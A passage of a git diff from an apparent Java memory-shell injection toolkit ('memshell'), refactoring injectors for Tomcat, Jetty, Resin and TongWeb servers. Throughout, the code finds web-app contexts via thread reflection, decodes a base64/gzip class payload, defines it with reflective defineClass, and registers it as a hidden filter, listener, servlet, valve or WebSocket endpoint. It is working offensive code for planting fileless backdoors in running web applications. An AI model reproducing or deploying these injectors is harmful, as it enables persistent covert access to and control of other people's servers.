clazzByte, 0, clazzByte.length); + Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); return clazz.newInstance(); } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java index 41d2405d..773cdd6d 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java @@ -74,19 +74,24 @@ public class JettyListenerInjector { return contexts; } + public ClassLoader getWebAppClassLoader(Object context) throws Exception { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader")); + } catch (Exception e) { + return ((ClassLoader) getFieldValue(context, "_classLoader")); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader webAppClassLoader = getWebAppClassLoader(context); try { - return classLoader.loadClass(getClassName()).newInstance(); + return webAppClassLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); return clazz.newInstance(); } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java index eecbfe27..46be511d 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java @@ -81,16 +81,24 @@ public class JettyServletInjector { return contexts; } + public ClassLoader getWebAppClassLoader(Object context) throws Exception { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader")); + } catch (Exception e) { + return ((ClassLoader) getFieldValue(context, "_classLoader")); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = context.getClass().getClassLoader(); + ClassLoader webAppClassLoader = getWebAppClassLoader(context); try { - return classLoader.loadClass(getClassName()).newInstance(); + return webAppClassLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); return clazz.newInstance(); } } @@ -103,7 +111,6 @@ public class JettyServletInjector { return; } - ClassLoader classLoader = context.getClass().getClassLoader(); String[] classNames = new String[]{ "org.eclipse.jetty.servlet.ServletHolder", @@ -114,10 +121,11 @@ public class JettyServletInjector { }; Class servletHolderClass = null; + ClassLoader contextClassLoader = context.getClass().getClassLoader(); for (String className : classNames) { try { - servletHolderClass = context.getClass().getClassLoader().loadClass(className); + servletHolderClass = contextClassLoader.loadClass(className); } catch (ClassNotFoundException ignored) { } } @@ -129,7 +137,7 @@ public class JettyServletInjector { Constructor servletHolderConstructor = servletHolderClass.getDeclaredConstructor(); servletHolderConstructor.setAccessible(true); Object servletHolder = servletHolderConstructor.newInstance(); - invokeMethod(servletHolder, "setServlet", new Class[]{getServletClass(classLoader)}, new Object[]{servlet}); + invokeMethod(servletHolder, "setServlet", new Class[]{getServletClass(contextClassLoader)}, new Object[]{servlet}); invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder}); invokeMethod(servletHandler, "addServletWithMapping", new Class[]{servletHolderClass, String.class}, new Object[]{servletHolder, getUrlPattern()}); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java index 104894af..11116e6c 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java @@ -41,6 +41,10 @@ public class ResinFilterInjector { return "{{base64Str}}"; } + /** + * com.caucho.server.webapp.Application + * /usr/local/resin3/lib/resin.jar + */ public List getContext() throws Exception { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); @@ -60,12 +64,17 @@ public class ResinFilterInjector { return Arrays.asList(contexts.toArray()); } + public ClassLoader getWebAppClassLoader(Object context) throws Exception { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + return ((ClassLoader) getFieldValue(context, "_classLoader")); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -82,12 +91,7 @@ public class ResinFilterInjector { System.out.println("filter already injected"); return; } - Class filterMappingClass; - try { - filterMappingClass = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); - } catch (Exception e) { - filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); - } + Class filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); Object filterMappingImpl = filterMappingClass.newInstance(); invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()}); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java index cbe478de..34fb9e28 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java @@ -58,12 +58,17 @@ public class ResinListenerInjector { return Arrays.asList(contexts.toArray()); } + public ClassLoader getWebAppClassLoader(Object context) throws Exception { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + return ((ClassLoader) getFieldValue(context, "_classLoader")); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -79,12 +84,14 @@ public class ResinListenerInjector { List listeners = (List) getFieldValue(context, "_requestListeners"); for (Object o : listeners) { if (o.getClass().getName().contains(getClassName())) { + System.out.println("listener already injected"); return; } } invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true}); // 清除缓存,否则某些 uri 无法连接 invokeMethod(context, "clearCache", null, null); + System.out.println("listener injected successfully"); } @SuppressWarnings("all") diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java index 2bdb220b..3c50925e 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java @@ -57,12 +57,17 @@ public class ResinServletInjector { return Arrays.asList(contexts.toArray()); } + public ClassLoader getWebAppClassLoader(Object context) throws Exception { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + return ((ClassLoader) getFieldValue(context, "_classLoader")); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -79,12 +84,7 @@ public class ResinServletInjector { System.out.println("servlet already injected"); return; } - Class servletMappingClass; - try { - servletMappingClass = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletMapping"); - } catch (Exception e) { - servletMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.ServletMapping"); - } + Class servletMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.ServletMapping"); Object servletMapping = servletMappingClass.newInstance(); invokeMethod(servletMapping, "setServletName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(servletMapping, "setServletClass", new Class[]{String.class}, new Object[]{getClassName()}); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java index 7b333f8c..6406b13d 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java @@ -39,8 +39,8 @@ public class TomcatFilterInjector { try { List contexts = getContext(); for (Object context : contexts) { - Object filter = getShell(context); - inject(context, filter); + getShell(context); + inject(context); } } catch (Exception e) { e.printStackTrace(); @@ -66,46 +66,48 @@ public class TomcatFilterInjector { return contexts; } + private ClassLoader getWebAppClassLoader(Object context) { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader webAppClassLoader = getWebAppClassLoader(context); try { - return classLoader.loadClass(getClassName()).newInstance(); + return webAppClassLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); return clazz.newInstance(); } } @SuppressWarnings("all") - public void inject(Object context, Object filter) throws Exception { + public void inject(Object context) throws Exception { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { System.out.println("filter already injected"); return; } Object filterDef; Object filterMap; + ClassLoader contextClassLoader = context.getClass().getClassLoader(); try { - // tomcat v8/9 - filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef", true, context.getClass().getClassLoader()).newInstance(); - filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap", true, context.getClass().getClassLoader()).newInstance(); + // tomcat v8+ + filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); + filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); } catch (Exception e2) { - // tomcat v6/7 - try { - filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); - filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); - } catch (Exception e) { - // tomcat v5 - filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, context.getClass().getClassLoader()).newInstance(); - filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, context.getClass().getClassLoader()).newInstance(); - } + // tomcat v5+ + filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); + filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); } + invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); @@ -114,11 +116,9 @@ public class TomcatFilterInjector { Constructor[] constructors; try { invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); - constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, context.getClass().getClassLoader()).getDeclaredConstructors(); } catch (Exception e) { // tomcat v5 invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); - constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, context.getClass().getClassLoader()).getDeclaredConstructors(); } try { // v7.0.0 以上 @@ -126,18 +126,14 @@ public class TomcatFilterInjector { } catch (Exception e) { invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); } - constructors[0].setAccessible(true); - try { - Object filterConfig = constructors[0].newInstance(context, filterDef); - Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); - filterConfigs.put(getClassName(), filterConfig); - System.out.println("filter inject success"); - } catch (Exception e) { - // 一个 tomcat 多个应用部分应用通过上下文线程加载 filter 对象,可能在目标应用会加载不到 - if (!(e.getCause() instanceof ClassNotFoundException)) { - throw e; - } - } + + Constructor filterConfigConstructor; + filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; + filterConfigConstructor.setAccessible(true); + Object filterConfig = filterConfigConstructor.newInstance(context, filterDef); + Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); + filterConfigs.put(getClassName(), filterConfig); + System.out.println("filter inject success"); } @SuppressWarnings("all") diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java index 45458183..0c077aac 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java @@ -61,19 +61,25 @@ public class TomcatListenerInjector { return contexts; } + private ClassLoader getWebAppClassLoader(Object context) { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader webAppClassLoader = getWebAppClassLoader(context); try { - return classLoader.loadClass(getClassName()).newInstance(); + return webAppClassLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); return clazz.newInstance(); } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java index bc1b587c..eec2b189 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java @@ -62,19 +62,25 @@ public class TomcatServletInjector { return contexts; } + private ClassLoader getWebAppClassLoader(Object context) { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader webAppClassLoader = getWebAppClassLoader(context); try { - return classLoader.loadClass(getClassName()).newInstance(); + return webAppClassLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); return clazz.newInstance(); } } @@ -85,12 +91,8 @@ public class TomcatServletInjector { System.out.println("servlet already injected"); return; } - Class containerClass = null; - try { - containerClass = Class.forName("org.apache.catalina.Container"); - } catch (ClassNotFoundException var12) { - containerClass = Class.forName("org.apache.catalina.Container", true, context.getClass().getClassLoader()); - } + ClassLoader contextClassLoader = context.getClass().getClassLoader(); + Class containerClass = contextClassLoader.loadClass("org.apache.catalina.Container"); Object wrapper = invokeMethod(context, "createWrapper", null, null); invokeMethod(wrapper, "setName", new Class[]{String.class}, new Object[]{getClassName()}); @@ -101,7 +103,7 @@ public class TomcatServletInjector { try { invokeMethod(context, "addServletMapping", new Class[]{String.class, String.class}, new Object[]{getUrlPattern(), getClassName()}); - } catch (NoSuchMethodException var11) { + } catch (Exception var11) { invokeMethod(context, "addServletMappingDecoded", new Class[]{String.class, String.class, Boolean.TYPE}, new Object[]{getUrlPattern(), getClassName(), false}); } support56Inject(context, wrapper); @@ -121,7 +123,8 @@ public class TomcatServletInjector { } private void support56Inject(Object context, Object wrapper) throws Exception { - Class serverInfo = Class.forName("org.apache.catalina.util.ServerInfo", false, context.getClass().getClassLoader()); + ClassLoader contextClassLoader = context.getClass().getClassLoader(); + Class serverInfo = contextClassLoader.loadClass("org.apache.catalina.util.ServerInfo"); String number = (String) invokeMethod(serverInfo, "getServerNumber", null, null); if (!number.startsWith("5") && !number.startsWith("6")) { return; @@ -141,8 +144,8 @@ public class TomcatServletInjector { if (getFieldValue(o, "object") != context) { continue; } - Class mapperClazz = Class.forName("org.apache.tomcat.util.http.mapper.Mapper", false, context.getClass().getClassLoader()); - Class wrapperClazz = Class.forName("org.apache.tomcat.util.http.mapper.Mapper$Wrapper", false, context.getClass().getClassLoader()); + Class mapperClazz = contextClassLoader.loadClass("org.apache.tomcat.util.http.mapper.Mapper"); + Class wrapperClazz = contextClassLoader.loadClass("org.apache.tomcat.util.http.mapper.Mapper$Wrapper"); Constructor declaredConstructor = wrapperClazz.getDeclaredConstructors()[0]; declaredConstructor.setAccessible(true); Object newWrapper = declaredConstructor.newInstance(); @@ -153,7 +156,7 @@ public class TomcatServletInjector { Object exactWrappers = getFieldValue(o, "exactWrappers"); int length = Array.getLength(exactWrappers); Object newWrappers = Array.newInstance(wrapperClazz, length + 1); - Class mapElementClass = Class.forName("org.apache.tomcat.util.http.mapper.Mapper$MapElement", false, context.getClass().getClassLoader()); + Class mapElementClass = contextClassLoader.loadClass("org.apache.tomcat.util.http.mapper.Mapper$MapElement"); Class mapElementArrayClass = Array.newInstance(mapElementClass, 0).getClass(); invokeMethod(mapperClazz, "insertMap", new Class[]{mapElementArrayClass, mapElementArrayClass, mapElementClass}, new Object[]{exactWrappers, newWrappers, newWrapper}); setFieldValue(o, "exactWrappers", newWrappers); @@ -225,7 +228,7 @@ public class TomcatServletInjector { } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { try { Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); Method method = null; @@ -245,8 +248,6 @@ public class TomcatServletInjector { } method.setAccessible(true); return method.invoke(obj instanceof Class ? null : obj, param); - } catch (NoSuchMethodException e) { - throw e; } catch (Exception e) { throw new RuntimeException("Error invoking method: " + methodName, e); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java index 882015c4..5337d297 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java @@ -152,7 +152,7 @@ public class TomcatValveInjector { } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { try { Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); Method method = null; @@ -172,8 +172,6 @@ public class TomcatValveInjector { } method.setAccessible(true); return method.invoke(obj instanceof Class ? null : obj, param); - } catch (NoSuchMethodException e) { - throw e; } catch (Exception e) { throw new RuntimeException("Error invoking method: " + methodName, e); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java index 95f26665..976e7ffb 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java @@ -6,7 +6,10 @@ import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -63,19 +66,25 @@ public class TomcatWebSocketInjector { return contexts; } + private ClassLoader getWebAppClassLoader(Object context) { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader webAppClassLoader = getWebAppClassLoader(context); try { - return classLoader.loadClass(getClassName()).newInstance(); + return webAppClassLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); return clazz.newInstance(); } } @@ -94,9 +103,9 @@ public class TomcatWebSocketInjector { return; } - ClassLoader classLoader = context.getClass().getClassLoader(); - Class serverEndpointConfigClass = classLoader.loadClass("javax.websocket.server.ServerEndpointConfig"); - Class builderClass = classLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder"); + ClassLoader contextClassLoader = context.getClass().getClassLoader(); + Class serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig"); + Class builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder"); Constructor constructor = builderClass.getDeclaredConstructor(Class.class, String.class); constructor.setAccessible(true); Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern()); @@ -143,7 +152,7 @@ public class TomcatWebSocketInjector { @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { try { Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); Method method = null; @@ -163,8 +172,6 @@ public class TomcatWebSocketInjector { } method.setAccessible(true); return method.invoke(obj instanceof Class ? null : obj, param); - } catch (NoSuchMethodException e) { - throw e; } catch (Exception e) { throw new RuntimeException("Error invoking method: " + methodName, e); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java index 79988340..843f9038 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java @@ -44,6 +44,12 @@ public class TongWebFilterInjector { } } + /** + * com.tongweb.web.thor.core.ThorStandardContext + * /opt/tweb6/lib/twnt.jar + * com.tongweb.catalina.core.ApplicationContext + * /opt/tweb7/lib/tongweb.jar + */ public List getContext() throws Exception { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); @@ -53,18 +59,25 @@ public class TongWebFilterInjector { Collection values = childrenMap.values(); for (Object value : values) { Map children = (Map) getFieldValue(value, "children"); - for (Object context : children.values()) { - contexts.add(context); - } + contexts.addAll(children.values()); } } } return contexts; } + private ClassLoader getWebAppClassLoader(Object context) { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = context.getClass().getClassLoader(); + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -86,16 +99,17 @@ public class TongWebFilterInjector { Object filterDef; Object filterMap; Constructor constructor; + ClassLoader contextClassLoader = context.getClass().getClassLoader(); try { // tongweb 7 - filterDef = Class.forName("com.tongweb.web.util.descriptor.web.FilterDef").newInstance(); - filterMap = Class.forName("com.tongweb.web.util.descriptor.web.FilterMap").newInstance(); - constructor = Class.forName("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; + filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance(); + filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance(); + constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; } catch (Exception e2) { // tongweb 6 - filterDef = Class.forName("com.tongweb.web.thor.deploy.FilterDef").newInstance(); - filterMap = Class.forName("com.tongweb.web.thor.deploy.FilterMap").newInstance(); - constructor = Class.forName("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; + filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance(); + filterMap = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance(); + constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; } invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java index c898fed1..50b0e54f 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java @@ -46,21 +46,25 @@ public class TongWebListenerInjector { Collection values = childrenMap.values(); for (Object value : values) { Map children = (Map) getFieldValue(value, "children"); - for (Object context : children.values()) { - contexts.add(context); - } + contexts.addAll(children.values()); } } } return contexts; } + private ClassLoader getWebAppClassLoader(Object context) { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java index 7ebd1dc8..c535cca6 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java @@ -46,21 +46,25 @@ public class TongWebValveInjector { Collection values = childrenMap.values(); for (Object value : values) { Map children = (Map) getFieldValue(value, "children"); - for (Object context : children.values()) { - contexts.add(context); - } + contexts.addAll(children.values()); } } } return contexts; } + private ClassLoader getWebAppClassLoader(Object context) { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) 